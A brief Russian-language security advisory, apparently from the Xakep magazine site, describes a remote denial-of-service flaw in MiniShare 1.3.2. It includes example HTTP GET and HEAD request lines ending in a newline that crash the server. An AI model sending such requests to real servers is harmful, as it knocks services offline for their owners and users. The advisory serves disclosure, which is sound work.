Удаленный отказ в обслуживании в MiniShare

Рекомендуем почитать:

Xakep #305. Multi-Step SQLi

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: MiniShare 1.3.2

Уязвимость обнаружена в MiniShare. Удаленный пользователь может аварийно завершить работу службы.
Удаленный пользователь может послать HTTP Get или HEAD запрос с одним символом новой строки, чтобы аварийно завершить работу Web сервера. 

Пример: 

GET:
1. GET /something HTTP/1.1
2. GET /something HTTP/1.1\n

HEAD:
1. HEAD /something HTTP/1.1
2. HEAD /something HTTP/1.1\n